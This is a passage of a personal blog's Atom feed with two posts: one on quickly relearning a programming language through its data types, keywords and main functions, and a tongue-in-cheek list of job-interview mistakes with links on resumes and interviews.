&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=20pj_ajDBOg"&gt;Shitlist-driven development and other tricks for working on large codebases - RedDotRubyConf 2017&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="code"></category><category term="workflow"></category><category term="learning"></category><category term="succeed"></category></entry><entry><title>(Re)Learn A Programming Language Quickly</title><link href="https://romainpellerin.eu/learn-a-programming-language-quickly.html" rel="alternate"></link><published>2015-05-22T17:17:00+02:00</published><updated>2015-05-26T01:08:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-05-22:/learn-a-programming-language-quickly.html</id><summary type="html">&lt;p&gt;Need to (re)learn a programming language in less than 10 minutes? Here is how to do it.&lt;/p&gt;</summary><content type="html">&lt;p&gt;When I need to learn a programming language quickly, or just recall it, I often use a few tips, very simple.&lt;/p&gt;
&lt;h1 id="data-types"&gt;Data Types&lt;/h1&gt;
&lt;p&gt;Also known as primitive data types. Data types are the very basis of every programming language. Knowing them allow you to manipulate variables, arrays, functions, etc. Generally, there are less than 10 of them. For example, Java has the following primitive data types:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kt"&gt;short&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kt"&gt;double&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;String&lt;/code&gt; could also be considered as a primitive data type since it doesn't require the keyword &lt;code&gt;new&lt;/code&gt; to be instanciated.&lt;/p&gt;
&lt;h1 id="keywords"&gt;Keywords&lt;/h1&gt;
&lt;p&gt;While we're on the subject, keywords (also called "reserved words") are another excellent way to quickly recall a programming language. Here again, they are not so numerous, generally around 50. Here are some keywords in Java:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;abstract&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt;
&lt;span class="nc"&gt;continue&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Those words are reserved and used by the compiler, that's why you can't use them as variable names for example. Consequently, they give you a pretty clear overview of what you can do with each language. Furthermore, if you've already learnt that language, you'll then quickly remember what each keyword means. Then, just iterate through those keywords and in less than 5 minutes, you'll remember everything about this language!&lt;/p&gt;
&lt;h1 id="the-main-function"&gt;The main function&lt;/h1&gt;
&lt;p&gt;Each language has its own approach. Here are some of them:&lt;/p&gt;
&lt;h2 id="java"&gt;Java&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="c"&gt;C&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="python"&gt;Python&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Don't forget to know this function!&lt;/p&gt;
&lt;h1 id="have-a-look-at-some-of-your-previous-projects-or-code"&gt;Have a look at some of your previous projects... or code&lt;/h1&gt;
&lt;p&gt;Giving a quick look at projects helps a lot! Try to look at the basics: inherited classes, overloaded and overriding functions, asbstract classes, IO functions, etc. If you have time, try to code some of them again!&lt;/p&gt;
&lt;h1 id="further-reading"&gt;Further reading&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://learnxinyminutes.com/"&gt;Learn X in Y minutes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="code"></category><category term="programming"></category></entry><entry><title>How Not To Get Hired</title><link href="https://romainpellerin.eu/how-not-to-get-hired.html" rel="alternate"></link><published>2015-05-22T13:33:00+02:00</published><updated>2023-07-19T12:19:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-05-22:/how-not-to-get-hired.html</id><summary type="html">&lt;p&gt;Some tips for interviews... You're applying for internships or jobs but you really don't want to get hired? Here are some do's.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Recently, since I was looking for a 6-month internship in software development, I applied to many US companies. As I really wanted not to get hired, I stricly followed some basic mistakes in order to succeed... Of course I'm joking! The following are some things I did... that you should avoid.&lt;/p&gt;
&lt;h1 id="put-your-photo-on-your-resume"&gt;Put your photo on your resume&lt;/h1&gt;
&lt;p&gt;Everyone knows, adding your photo on your resume is a really good thing. The recruiter will be pleased to see your lovely face.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;(phone rings)&lt;/em&gt;&lt;br&gt;
- Hello?&lt;br&gt;
- Hi! I'm the recruiter. WHY DID YOU SEND ME A RESUME WITH YOUR PHOTO?!&lt;br&gt;
- ...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The phone interview looked like something like that. Avoid it.&lt;/p&gt;
&lt;h1 id="ask-to-be-reached-on-a-different-phone-number-than-the-one-on-your-resume"&gt;Ask to be reached on a different phone number than the one on your resume&lt;/h1&gt;
&lt;p&gt;Adding your mobile phone number on your resume might be a good idea since it enables you to be reached wherever you are. But for international calls, the audio quality gets a bit worse than with a landline phone. That's why I gently asked, by email, to be reached on my landline phone. The recruiter totally ignored it, called me on my cell phone and got very angry with me when I said that I would prefer my landline phone. However, he called back a minute later the correct number.&lt;/p&gt;
&lt;h1 id="dont-know-the-algorithms-you-wrote"&gt;Don't know the algorithms you wrote&lt;/h1&gt;
&lt;p&gt;Sometimes, recruites merely send you a text file with lots of technical questions, such as algorithms to write, code to fix, etc. Then, when it comes to face to face interview, the recruiter is very likely to ask you to prove your algorithms. It can be about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Complexity: give the complexity of your algorithms and explain how you calculate it&lt;/li&gt;
&lt;li&gt;Prove that it works for every case (basically it's: loop invariant, pre-conditions, inductive step, post-conditions)&lt;/li&gt;
&lt;li&gt;Provide alternative algorithms (or alternative implementation when dealing with &lt;a href="http://en.wikipedia.org/wiki/Object-oriented_programming"&gt;OOP&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="dont-sleep-enough-the-previous-night"&gt;Don't sleep enough the previous night&lt;/h1&gt;
&lt;p&gt;So that you'll seem so tired that you won't impress anyone. And worse, you won't be able to think, your brain will be so slow that you'll get confused at every sentence you'll hear.&lt;/p&gt;
&lt;h1 id="we-wont-move-forward-with-your-candidacy"&gt;&lt;em&gt;“ We won't move forward with your candidacy ”&lt;/em&gt;&lt;/h1&gt;
&lt;p&gt;Congratulations! If you ever received this, that means that you carefully followed every point in this article.&lt;/p&gt;
&lt;p&gt;Good luck!&lt;/p&gt;
&lt;h1 id="tips-for-resumes"&gt;Tips for resumes&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://jobsearch.about.com/cs/curriculumvitae/f/cvresume.htm"&gt;The Difference Between a Resume and a Curriculum Vitae (CV)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://theundercoverrecruiter.com/cv-vs-resume-difference-and-when-use-which/"&gt;CV vs. Resume: The Difference and When to Use Which&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://europass.cedefop.europa.eu/en/documents/curriculum-vitae/templates-instructions"&gt;Official European CV templates&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://uk.businessinsider.com/elons-musk-resume-all-on-one-page-2016-4"&gt;This résumé for Elon Musk proves you never, ever need to use more than one page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/pulse/20140917045901-24454816-the-5-biggest-mistakes-i-see-on-resumes-and-how-to-correct-them"&gt;The Biggest Mistakes I See on Resumes, and How to Correct Them&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/pulse/biggest-mistakes-i-see-resumes-part-2-your-top-8-questions-bock"&gt;The Biggest Mistakes I See on Resumes, Part 2: Your top 8 questions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="useful-books"&gt;Useful books&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.amazon.fr/dp/0984782850"&gt;Cracking the Coding Interview, 6th Edition: 189 Programming Questions and Solutions (really good, in Java)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.fr/dp/1118261364"&gt;Programming Interviews Exposed: Secrets to Landing Your Next Job (quite elementary and obsolete)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.fr/dp/1479274836"&gt;Elements of Programming Interviews: The Insiders' Guide (for really hard interviews, in C++)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="salary"&gt;Salary&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://fearlesssalarynegotiation.com/software-developers-how-to-get-a-raise/"&gt;Software Developers: Here’s how to get a raise without changing jobs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://simpleprogrammer.com/2016/10/10/salary-negotiation-software-developers/"&gt;The Ultimate Guide To Salary Negotiation For Software Developers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="further-reading"&gt;Further reading&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/pulse/20140929001534-24454816-my-personal-formula-for-a-better-resume"&gt;My Personal Formula for a Winning Resume&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://motto.time.com/4245429/win-every-interview-6-steps/"&gt;Google Executive: 6 Ways to Win Your Next Interview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.growingpie.com/blog/2015/03/11/stage-chez-google/"&gt;Un stage chez Google : le parcours d’un ingénieur de Google, d’Aix-en-Provence à Mountain view&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gabrieletolomei.wordpress.com/miscellanea/operating-systems/multiprogramming-multiprocessing-multitasking-multithreading/"&gt;Multiprogramming, Multiprocessing, Multitasking, and Multithreading&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://nt.github.io/2013/10/20/resources-for-becoming-a-hacker-and-interviews.html"&gt;Resources for becoming a hacker (and for interviews)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.huffingtonpost.fr/stephane-langonnet/langage-corporel-entretien-dembauche_b_4376837.html"&gt;Entretien d'embauche: maîtrisez le langage corporel!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@davidbyttow/abc-always-be-coding-d5f8051afce2"&gt;ABC: Always Be Coding&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://techmeup.co/trouver-un-job-tech-a-san-francisco-ou-dans-la/"&gt;Trouver un job tech à San Francisco ou dans la Silicon Valley&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.nytimes.com/2014/02/23/opinion/sunday/friedman-how-to-get-a-job-at-google.html"&gt;How to Get a Job at Google&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/vhf/free-programming-books/blob/master/free-programming-books.md"&gt;Free Programming Books&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.bloomberg.com/graphics/2015-paul-ford-what-is-code/"&gt;What Is Code?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/javascript/comments/3rb88w/ten_questions_ive_been_asked_most_more_than_once"&gt;Ten questions I’ve been asked, most more than once, over six technical JavaScript / Front-end Engineer job interviews&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jvns.ca/blog/2015/11/21/why-you-should-understand-a-little-about-tcp/"&gt;Why you should understand (a little) about TCP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/MaximAbramchuck/awesome-interviews"&gt;Awesome Interviews&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sametmax.com/retour-sur-la-penurie-de-devs/"&gt;Retour sur la pénurie de devs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/h5bp/Front-end-Developer-Interview-Questions"&gt;Front-end Job Interview Questions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/pulse/why-do-employers-rarely-offer-explanations-rejected-ambra-benjamin"&gt;Why Do Employers Rarely Offer Explanations to Rejected Candidates?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gwan.com/blog/20160405.html"&gt;Google's "Director of Engineering" Hiring Test&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hackernoon.com/so-you-think-you-know-c-8d4e2cd6f6a6"&gt;So you think you know C?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bravenewgeek.com/you-are-not-paid-to-write-code/"&gt;You Are Not Paid to Write Code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://cultureofdevelopment.com/blog/always-give-interview-feedback/"&gt;Always Get/Give Interview Feedback, It Matters&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://cultureofdevelopment.com/blog/interviews-what-im-thinking-while-im-interviewing-you/"&gt;Interviews: what I'm thinking while I'm interviewing you&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.joelonsoftware.com/2006/10/25/the-guerrilla-guide-to-interviewing-version-30/"&gt;The Guerrilla Guide to Interviewing (version 3.0)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://drivy.engineering/tech-recruitment-process/"&gt;The Tech Recruitment Process At Drivy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@deusexmachina667/you-fired-your-top-talent-i-hope-youre-happy-cf57c41183dd"&gt;You fired your top talent. I hope you’re happy.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qotoqot.com/blog/founder-skills/"&gt;What you should know as a founder of a software company&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@evnowandforever/f-you-i-quit-hiring-is-broken-bb8f3a48d324"&gt;F*** You, I Quit — Hiring Is Broken&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://css-tricks.com/interviewing-for-a-technical-position-doesnt-have-to-be-scary/"&gt;Interviewing for a Technical Position Doesn’t Have to Be Scary&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://increment.com/teams/ask-an-expert-how-do-you-interview-an-engineer/"&gt;Ask an expert: How do you interview an engineer?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.mathieupassenaud.fr/barres-cv/"&gt;Mais… pourquoi vous mettez des barres de compétences sur le CV ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.pragmaticengineer.com/preparing-for-the-systems-design-and-coding-interviews/"&gt;Preparing for the Systems Design and Coding Interview&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Jobs"></category><category term="job"></category><category term="interview"></category><category term="internship"></category></entry></feed>